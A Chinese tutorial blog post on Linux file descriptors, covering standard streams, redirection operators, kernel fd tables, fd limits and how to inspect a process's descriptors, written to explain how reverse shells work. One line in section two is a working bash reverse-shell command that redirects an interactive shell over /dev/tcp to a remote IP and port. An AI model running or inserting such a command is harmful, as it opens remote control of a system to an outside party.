最近在复现反弹shell的漏洞,最后都指向了文件描述符,好奇心驱使下,来了解文件描述符,小白见解,大佬指教。
一、简介
1.文件描述符
百科:在linux下一切皆文件,文件描述符(File descriptor 简称fd)是计算机科学中的一个术语,是一个用于表述指向文件的引用的抽象化概念。
文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向 内核 为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。进程使用它来标识打开的文件。文件描述符与包括相关信息(如文件的打开模式、文件的位置类型、文件的初始类型等)的文件对象相关联,这些信息被称作文件的上下文。
2.反弹shell
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
二、文件描述符、文件、进程间的关系
1、描述
在程序刚启动的时候,默认有三个文件描述符,分别是:
0(代表标准输入)
1(代表标准输出)
2(代表标准错误)
再打开一个新的文件的话,它的文件描述符就是3。
如果我们改变文件描述符 1,2的指向, 是不是就能实现重定向符 “>” 的作用呢
(反弹shell正是利用了这点)
bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1 //反弹shell的一句话
shell上:
0表示标准输入
1表示标准输出
2表示标准错误输出
> 默认为标准输出重定向,与 1> 相同
2>&1 意思是把 标准错误输出 重定向到 标准输出.
&>file 意思是把 标准输出 和 标准错误输出 都重定向到文件file中
1.&>file或n>&m均是一个独立的重定向符号,不要分开来理解。
2.明确文件和文件描述符的区别。
3.&>file表示重定向标准输出和错误到文件
文件描述符的规则
1.每一个文件描述符会与一个打开文件相对应
2.不同的文件描述符也会指向同一个文件
3.相同的文件可以被不同的进程打开也可以在同一个进程中被多次打开
4.系统为每一个进程维护了一个文件描述符表,该表的值都是从0开始的,所以在不同的进程中你会看到相同的文件描述符,这种情况下相同文件描述符有可能指向同一个文件,也有可能指向不同的文件
2、系统为维护文件描述符,建立了三个表
1.进程级的文件描述符表
2.系统级的文件描述符表
3.文件系统的i-node表
3、图解文件描述符
1.在进程A中,文件描述符1和30都指向了同一个打开的文件句柄(#23),这可能是该进程多次对执行打开操作
2.进程A中的文件描述符2和进程B的文件描述符2都指向了同一个打开的文件句柄(#73),这种情况有几种可能,
1.进程A和进程B可能是父子进程关系;
2.进程A和进程B打开了同一个文件,且文件描述符相同(低概率事件=_=);
3.A、B中某个进程通过UNIX域套接字将一个打开的文件描述符传递给另一个进程。
3.进程A的描述符0和进程B的描述符3分别指向不同的打开文件句柄,但这些句柄均指向i-node表的相同条目(#1936),换言之,指向同一个文件。发生这种情况是因为每个进程各自对同一个文件发起了打开请求。同一个进程两次打开同一个文件,也会发生类似情况。文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。
三、文件描述符限制
获取系统打开的文件描述符数量 cat /proc/sys/fs/file-nr
cat /proc/sys/fs/file-nr
2080 0 387517
//第一列 2080 :已分配的FD数量
//第二列 0 :已分配未使用的FD数量
//第三列 387517:系统可用的最大的FD数量
备注:/proc目录是运行时访问内核数据结构,改变内核内置的机制,为访问系统内核提供接口,存储在内存当中。
永久修改用户级限制时有三种设置类型:
1.soft 指的是当前系统生效的设置值
2.hard 指的是系统中所能设定的最大值
3. - 指的是同时设置了 soft 和 hard 的值
四、检查某个进程的文件描述符相关内容
步骤:
1.找到需要检查的进程id
2.查看该进程的限制
如图,在 Max open files 那一行,可以看到当前设置中最大文件描述符的数量为1024
查看该进程占用多少文件描述符。
如图所示,使用了8个文件描述符
五、总结
- 文件描述符标志(即,close-on-exec)为进程和文件描述符所私有。对这一标志的修改将不会影响同一进程或不同进程中的其他文件描述符。
- 两个不同的文件描述符,若指向同一个打开文件句柄,将共享同一文件偏移量。因此,如果通过其中一个文件描述符来修改文件偏移量(由调用read()、write()或lseek()所致),那么从另一个描述符中也会观察到变化,无论这两个文件描述符是否属于不同进程,还是同一个进程,情况都是如此。
- 反弹shell本质上是利用文件描述符达到网络概念的客户端与服务端的角色反转的目的。
- 要获取和修改打开的文件标志(例如:O_APPEND、O_NONBLOCK和O_ASYNC),可执行fcntl()的F_GETFL和F_SETFL操作,其对作用域的约束与上一条颇为类似
参考资料:
https://segmentfault.com/a/1190000009724931
https://my.oschina.net/LinBigR/blog/806102
https://blog.csdn.net/cywosp/article/details/38965239